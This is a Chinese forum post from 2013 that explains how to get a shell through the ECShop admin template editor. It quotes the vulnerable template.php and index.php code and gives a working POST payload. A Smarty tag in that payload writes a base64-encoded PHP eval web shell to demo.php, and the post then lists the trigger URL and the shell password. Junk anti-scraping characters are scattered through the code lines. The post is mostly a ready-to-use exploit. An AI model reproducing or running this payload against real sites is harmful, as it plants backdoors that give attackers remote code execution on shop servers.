找回密码
 立即注册
查看: 2965|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板( f$ m$ j. \+ D2 L- m8 z
$ w9 x1 P# t$ n: _$ F4 }* W+ z
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了. Y* C' L2 V) [
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" J  {) i2 _+ r) _; q0 z8 _+ }admin/template.php
: B1 F! I5 ~+ s& T+ k/ f( K3 A- ~
1 if ($_REQUEST['act'] == 'update_library') ) U& `3 }4 W( D% S
+ H: G0 V3 Y; R- S  m
2   & h& [4 n" J0 H  ~( O( W

  X0 B) t3 ]0 `6 X" K" g8 \3 {
- @3 g$ N# A, `4 d; q3 Z  a. E1 L, w
4     check_authz_json('library_manage'); 3 k% o+ d0 q0 Y( R. y4 @8 T. M
  D7 C' b) ^$ ]/ H! i, l8 p* e, D, B
5   ( \4 j3 c) ^& d6 Q
, }& p" ~! ~# f. r) r! ?  Z* }4 m$ C0 j
6     $html = stripslashes(json_str_iconv($_POST['html']));
7 ~- g' w( z0 D4 [5 E
4 @! H, l4 e2 G5 \. I5 S7   
8 S) q. P  D0 l/ S/ g: Y3 l9 l8 u
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 a- u( G) K7 z$ g+ e" T6 G+ K* \( }* u' }/ ]4 a
9   
% `! `; l+ F+ d2 |) F1 |" j. z: h- T5 y" a/ z
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. C/ x. M6 Y0 A9 ?9 X8 I2 N, e& I. _# V3 a) z% @  r7 S9 V2 H
11   - ^* G6 x- d% n! M
4 \6 V' n* Q; ?$ c% c' H1 C- a) M# w  p
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- C# x1 q1 e) t- O; M) ^
3 G& ]; `) ~0 s9 b2 q0 ~13   1 P* l; `; D9 ^7 }$ |) w  j+ S

2 D7 T; s4 x0 R14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / u3 ^9 l, M& ~9 D

9 }3 A. P# Q6 D- E5 I  c15     { 8 E8 Z0 e( @+ h

" `# P3 e' [' s( X! _16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( g1 o, ^( s" n3 U- U, H1 X0 J. j; O+ C- [9 N' i1 o- v
17         make_json_result('', $_LANG['update_lib_success']); & H  y& R- N' G; N6 r$ ~8 h
' S$ G% `, f% l& e1 g. L
18     } 0 s1 ~6 v3 [" E
. q8 y2 R, ^& n
19     else
5 ~' p7 A" \* H3 k- {
. L+ E- X  u: P8 X20     {
% g: _! n9 v/ @" D5 ]; Q2 v  G! G: B5 c- O
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% ~/ I9 Z+ n: d/ P2 A4 A- O, g8 a+ N
% t- O& o5 y5 k- N, n4 l2 E0 k! l  \22     }
8 J+ W  C5 L1 K, e" q, ?8 D: N; b" _# j+ z' L
23 } * d9 d% _3 L/ k! E/ E- d

/ E) [; @' N$ J$ k, W5 I) w, ^" G, m那么找个比较方便调用了模板的文件" k% C8 `2 P" ~6 C2 ?* L4 I
index.php% Y9 d- q. U% Z: V* z  ]

1 x+ i. f8 o2 A! I7 v1 if ($act == 'cat_rec')
; T* Y4 J. x6 V* O' y* V" C( R5 `5 w) O7 W" p+ |
2   5 d- L/ o' s' O; I1 O. [; h% G+ J

3 P1 @7 t/ P$ l3 c) E& d: r4 j3 {
3 A4 |  n6 j9 D8 H  _
/ t  I9 x/ y& y/ Q0 u8 h; a5 c5 q4   
: L7 B% @4 Q. [/ V
: n! D$ x5 J- M% j1 J5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 o$ ?# D1 w- b. X. t
9 M' S4 U. k" U, H6 H6   / q( j: f+ X4 z" z
) @' `9 F# {% m3 y- u; L, Q
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; : l: ?$ T8 f& j8 I) Z

% f  V. [% {2 y8     j) h$ d( y$ o9 x

* D( H! d+ f0 {# j5 q5 s1 B9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ; a; g$ y. D3 P* z  Q" W+ R+ y
1 |# m& S( {$ l. e* u
10   
% s0 @5 d, i, `2 ~
, e& H, ?  f! I; r9 Y11     include_once('includes/cls_json.php'); / A  ?9 p  x5 s( b6 M. h* O7 c

& l  _$ N6 ]# n9 \# C12   ! f7 [, k) B/ w( f2 b

3 w1 |! D" Z3 [3 ~2 a13     $json = new JSON; 7 m$ N/ W, I2 ?) R3 B2 H  }

# N4 m  b3 U2 @( v" d' |0 q" _2 p0 ^14   
/ ^: E& F7 T% Z' L" e' |" r& g9 Z2 E, w9 g. i6 R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # j; W* l: }+ l( k! B
: N) g3 K# O% R- [" w
16   
3 H) t0 G7 P1 r' C7 E* ~" a6 X; f' W( F3 f  V
17     $children = get_children($cat_id);   N' c/ n6 V% x3 f, J
: Z. a9 D7 x. q% N' @
18   
% W0 f/ _5 \+ `5 y! O& \9 D5 K8 c) D& K# f3 {( {$ p; i
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
/ c! D( t# a7 e. \7 P
" V6 ~: ~  b2 B20   " h7 C2 z4 R6 ^; n6 ?

3 O! t) h9 B- w! \21     $smarty->assign('cat_rec_sign', 1);
, d8 q; j1 ^8 T/ b; @: a5 |! [- z  [0 E& @; W9 ]
22   / H. ^+ M& d1 S; \
7 Y, M8 k  I% G& L( t' d6 Y% E$ p0 p
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
- n* Y' c/ [; B  H6 l) U2 U" j/ }( S) W+ P! C; ~1 J1 K
24   
! q! \: r6 Q2 \6 o2 D( y0 ]
  a8 _- d0 P7 Q1 [5 ]) e25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 6 `% x6 d' b8 I  c  o# b# w

# }9 b5 c6 {, @& @" `$ c26   ' z" b8 C) b( u" E: r* o
8 W  D4 z6 ~0 V0 S9 l8 o2 \
27         echo $rec_array[$rec_type];
+ o2 C/ L  y; X; ]1 j& t3 }8 \) L
28   
/ {7 X" J: q& s. W/ ~# w. \/ x2 |+ H
29     die($json->encode($result)); , ~6 ~( q  i  E  L8 p. _7 i" [

) b6 ^# I' W" J30   
; |- `) N9 Q: ?. o+ M1 @& \
2 U% I6 o; F9 L31 } " ]# d5 h" s3 E9 T
% |$ B3 O8 R# g
那么就有利用方法了6 t6 D: z5 @* x! A; G2 v/ X* y
post包到http://localhost/ec/admin/template.php?act=update_library7 g% l% ~& J8 U
Post内容:
! L6 p+ [' J( o, D0 w
6 j* i1 B- E, C7 R6 U8 c: W: S
9 x* f5 I' o( Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ! F. M& q' X  v# Y' l
2 a. ~2 \. o) ~; [
然后访问http://localhost/ec/index.php?act=cat_rec
$ _" }' `# V! E
3 Q, s( F% a8 l" ushel地址:http://localhost/ec/demo.php
& I0 [0 V. L$ d/ a* F密码c
3 g; P, _- A8 g$ u5 h/ g2 w# l: s. p' @2 ~, P' X( U# S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表